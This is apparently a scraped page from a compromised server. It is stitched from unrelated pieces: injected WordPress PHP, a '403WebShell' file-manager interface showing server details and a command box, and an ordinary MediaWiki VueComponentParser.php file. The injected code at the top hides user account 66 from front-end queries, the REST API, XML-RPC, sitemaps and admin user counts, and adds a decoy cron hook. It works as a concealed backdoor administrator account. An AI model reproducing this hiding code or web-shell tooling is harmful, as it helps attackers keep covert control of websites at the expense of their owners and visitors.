add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/includes/ResourceLoader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/includes/ResourceLoader/VueComponentParser.php
<?php
/**
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along
 * with this program; if not, write to the Free Software Foundation, Inc.,
 * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 * http://www.gnu.org/copyleft/gpl.html
 *
 * @file
 * @author Roan Kattouw
 */

namespace MediaWiki\ResourceLoader;

use DOMDocument;
use DOMElement;
use DOMNode;
use InvalidArgumentException;
use Wikimedia\RemexHtml\DOM\DOMBuilder;
use Wikimedia\RemexHtml\HTMLData;
use Wikimedia\RemexHtml\Serializer\HtmlFormatter;
use Wikimedia\RemexHtml\Serializer\Serializer;
use Wikimedia\RemexHtml\Serializer\SerializerNode;
use Wikimedia\RemexHtml\Tokenizer\Attributes;
use Wikimedia\RemexHtml\Tokenizer\Tokenizer;
use Wikimedia\RemexHtml\TreeBuilder\Dispatcher;
use Wikimedia\RemexHtml\TreeBuilder\TreeBuilder;
use Wikimedia\Zest\Zest;

/**
 * Parser for Vue single file components (.vue files). See parse() for usage.
 *
 * @ingroup ResourceLoader
 * @internal For use within FileModule.
 */
class VueComponentParser {
	/**
	 * Parse a Vue single file component, and extract the script, template and style parts.
	 *
	 * Returns an associative array with the following keys:
	 * - 'script': The JS code in the <script> tag
	 * - 'template': The HTML in the <template> tag
	 * - 'style': The CSS/LESS styles in the <style> tag, or null if the <style> tag was missing
	 * - 'styleLang': The language used for 'style'; either 'css' or 'less', or null if no <style> tag
	 *
	 * The following options can be passed in the $options parameter:
	 * - 'minifyTemplate': Whether to minify the HTML in the template tag. This removes
	 *                     HTML comments and strips whitespace. Default: false
	 *
	 * @param string $html HTML with <script>, <template> and <style> tags at the top level
	 * @param array $options Associative array of options
	 * @return array
	 * @throws InvalidArgumentException If the input is invalid
	 */
	public function parse( string $html, array $options = [] ): array {
		$dom = $this->parseHTML( $html );
		// Remex wraps everything in <html><head>, unwrap that
		$head = Zest::getElementsByTagName( $dom, 'head' )[ 0 ];

		// Find the <script>, <template> and <style> tags. They can appear in any order, but they
		// must be at the top level, and there can only be one of each.
		if ( !$head ) {
			throw new InvalidArgumentException( 'Parsed DOM did not contain a <head> tag' );
		}
		$nodes = $this->findUniqueTags( $head, [ 'script', 'template', 'style' ] );

		// Throw an error if we didn't find a <script> or <template> tag. <style> is optional.
		foreach ( [ 'script', 'template' ] as $requiredTag ) {
			if ( !isset( $nodes[ $requiredTag ] ) ) {
				throw new InvalidArgumentException( "No <$requiredTag> tag found" );
			}
		}

		$this->validateAttributes( $nodes['script'], [] );
		$this->validateAttributes( $nodes['template'], [] );
		if ( isset( $nodes['style'] ) ) {
			$this->validateAttributes( $nodes['style'], [ 'lang' ] );
		}

		$styleData = isset( $nodes['style'] ) ? $this->getStyleAndLang( $nodes['style'] ) : null;
		$template = $this->getTemplateHtml( $html, $options['minifyTemplate'] ?? false );

		return [
			'script' => trim( $nodes['script']->nodeValue ?? '' ),
			'template' => $template,
			'style' => $styleData ? $styleData['style'] : null,
			'styleLang' => $styleData ? $styleData['lang'] : null
		];
	}

	/**
	 * Parse HTML to DOM using RemexHtml
	 * @param string $html
	 * @return DOMDocument
	 */
	private function parseHTML( $html ): DOMDocument {
		$domBuilder = new DOMBuilder( [ 'suppressHtmlNamespace' => true ] );
		$treeBuilder = new TreeBuilder( $domBuilder, [ 'ignoreErrors' => true ] );
		$tokenizer = new Tokenizer( new Dispatcher( $treeBuilder ), $html, [ 'ignoreErrors' => true ] );
		$tokenizer->execute();
		// @phan-suppress-next-line PhanTypeMismatchReturnSuperType
		return $domBuilder->getFragment();
	}

	/**
	 * Find occurrences of specified tags in a DOM node, expecting at most one occurrence of each.
	 * This method only looks at the top-level children of $rootNode, it doesn't descend into them.
	 *
	 * @param DOMNode $rootNode Node whose children to look at
	 * @param string[] $tagNames Tag names to look for (must be all lowercase)
	 * @return DOMElement[] Associative arrays whose keys are tag names and values are DOM nodes
	 */
	private function findUniqueTags( DOMNode $rootNode, array $tagNames ): array {
		$nodes = [];
		foreach ( $rootNode->childNodes as $node ) {
			$tagName = strtolower( $node->nodeName );
			if ( in_array( $tagName, $tagNames ) ) {
				if ( isset( $nodes[ $tagName ] ) ) {
					throw new InvalidArgumentException( "More than one <$tagName> tag found" );
				}
				$nodes[ $tagName ] = $node;
			}
		}
		return $nodes;
	}

	/**
	 * Verify that a given node only has a given set of attributes, and no others.
	 * @param DOMNode $node Node to check
	 * @param array $allowedAttributes Attributes the node is allowed to have
	 * @throws InvalidArgumentException If the node has an attribute it's not allowed to have
	 */
	private function validateAttributes( DOMNode $node, array $allowedAttributes ): void {
		if ( $allowedAttributes ) {
			foreach ( $node->attributes as $attr ) {
				if ( !in_array( $attr->name, $allowedAttributes ) ) {
					throw new InvalidArgumentException( "<{$node->nodeName}> may not have the " .
						"{$attr->name} attribute" );
				}
			}
		} elseif ( $node->attributes->length > 0 ) {
			throw new InvalidArgumentException( "<{$node->nodeName}> may not have any attributes" );
		}
	}

	/**
	 * Get the contents and language of the <style> tag. The language can be 'css' or 'less'.
	 * @param DOMElement $styleNode The <style> tag.
	 * @return array [ 'style' => string, 'lang' => string ]
	 * @throws InvalidArgumentException If an invalid language is used, or if the 'scoped' attribute is set.
	 */
	private function getStyleAndLang( DOMElement $styleNode ): array {
		$style = trim( $styleNode->nodeValue ?? '' );
		$styleLang = $styleNode->hasAttribute( 'lang' ) ?
			$styleNode->getAttribute( 'lang' ) : 'css';
		if ( $styleLang !== 'css' && $styleLang !== 'less' ) {
			throw new InvalidArgumentException( "<style lang=\"$styleLang\"> is invalid," .
				" lang must be \"css\" or \"less\"" );
		}
		return [
			'style' => $style,
			'lang' => $styleLang,
		];
	}

	/**
	 * Get the HTML contents of the <template> tag, optionally minifed.
	 *
	 * To work around a bug in PHP's DOMDocument where attributes like @click get mangled,
	 * we re-parse the entire file using a Remex parse+serialize pipeline, with a custom dispatcher
	 * to zoom in on just the contents of the <template> tag, and a custom formatter for minification.
	 * Keeping everything in Remex and never converting it to DOM avoids the attribute mangling issue.
	 *
	 * @param string $html HTML that contains a <template> tag somewhere
	 * @param bool $minify Whether to minify the output (remove comments, strip whitespace)
	 * @return string HTML contents of the template tag
	 */
	private function getTemplateHtml( $html, $minify ) {
		$serializer = new Serializer( $this->newTemplateFormatter( $minify ) );
		$tokenizer = new Tokenizer(
			$this->newFilteringDispatcher(
				new TreeBuilder( $serializer, [ 'ignoreErrors' => true ] ),
				'template'
			),
			$html, [ 'ignoreErrors' => true ]
		);
		$tokenizer->execute( [ 'fragmentNamespace' => HTMLData::NS_HTML, 'fragmentName' => 'template' ] );
		return trim( $serializer->getResult() );
	}

	/**
	 * Custom HtmlFormatter subclass that optionally removes comments and strips whitespace.
	 * If $minify=false, this formatter falls through to HtmlFormatter for everything (except that
	 * it strips the <!doctype html> tag).
	 *
	 * @param bool $minify If true, remove comments and strip whitespace
	 * @return HtmlFormatter
	 */
	private function newTemplateFormatter( $minify ) {
		return new class( $minify ) extends HtmlFormatter {
			private $minify;

			public function __construct( $minify ) {
				$this->minify = $minify;
			}

			public function startDocument( $fragmentNamespace, $fragmentName ) {
				// Remove <!doctype html>
				return '';
			}

			public function comment( SerializerNode $parent, $text ) {
				if ( $this->minify ) {
					// Remove all comments
					return '';
				}
				return parent::comment( $parent, $text );
			}

			public function characters( SerializerNode $parent, $text, $start, $length ) {
				if (
					$this->minify && (
						// Don't touch <pre>/<listing>/<textarea> nodes
						$parent->namespace !== HTMLData::NS_HTML ||
						!isset( $this->prefixLfElements[ $parent->name ] )
					)
				) {
					$text = substr( $text, $start, $length );
					// Collapse runs of adjacent whitespace, and convert all whitespace to spaces
					$text = preg_replace( '/[ \r\n\t]+/', ' ', $text );
					$start = 0;
					$length = strlen( $text );
				}
				return parent::characters( $parent, $text, $start, $length );
			}

			public function element( SerializerNode $parent, SerializerNode $node, $contents ) {
				if (
					$this->minify && (
						// Don't touch <pre>/<listing>/<textarea> nodes
						$node->namespace !== HTMLData::NS_HTML ||
						!isset( $this->prefixLfElements[ $node->name ] )
					) &&
					$contents !== null
				) {
					// Remove leading and trailing whitespace
					$contents = preg_replace( '/(^[ \r\n\t]+)|([\r\n\t ]+$)/', '', $contents );
				}
				return parent::element( $parent, $node, $contents );
			}
		};
	}

	/**
	 * Custom Dispatcher subclass that only dispatches tree events inside a tag with a certain name.
	 * This effectively filters the tree to only the contents of that tag.
	 *
	 * @param TreeBuilder $treeBuilder
	 * @param string $nodeName Tag name to filter for
	 * @return Dispatcher
	 */
	private function newFilteringDispatcher( TreeBuilder $treeBuilder, $nodeName ) {
		return new class( $treeBuilder, $nodeName ) extends Dispatcher {
			private $nodeName;
			private $nodeDepth = 0;
			private $seenTag = false;

			public function __construct( TreeBuilder $treeBuilder, $nodeName ) {
				$this->nodeName = $nodeName;
				parent::__construct( $treeBuilder );
			}

			public function startTag( $name, Attributes $attrs, $selfClose, $sourceStart, $sourceLength ) {
				if ( $this->nodeDepth ) {
					parent::startTag( $name, $attrs, $selfClose, $sourceStart, $sourceLength );
				}

				if ( $name === $this->nodeName ) {
					if ( $this->nodeDepth === 0 && $this->seenTag ) {
						// This is the second opening tag, not nested in the first one
						throw new InvalidArgumentException( "More than one <{$this->nodeName}> tag found" );
					}
					$this->nodeDepth++;
					$this->seenTag = true;
				}
			}

			public function endTag( $name, $sourceStart, $sourceLength ) {
				if ( $name === $this->nodeName ) {
					$this->nodeDepth--;
				}
				if ( $this->nodeDepth ) {
					parent::endTag( $name, $sourceStart, $sourceLength );
				}
			}

			public function characters( $text, $start, $length, $sourceStart, $sourceLength ) {
				if ( $this->nodeDepth ) {
					parent::characters( $text, $start, $length, $sourceStart, $sourceLength );
				}
			}

			public function comment( $text, $sourceStart, $sourceLength ) {
				if ( $this->nodeDepth ) {
					parent::comment( $text, $sourceStart, $sourceLength );
				}
			}
		};
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit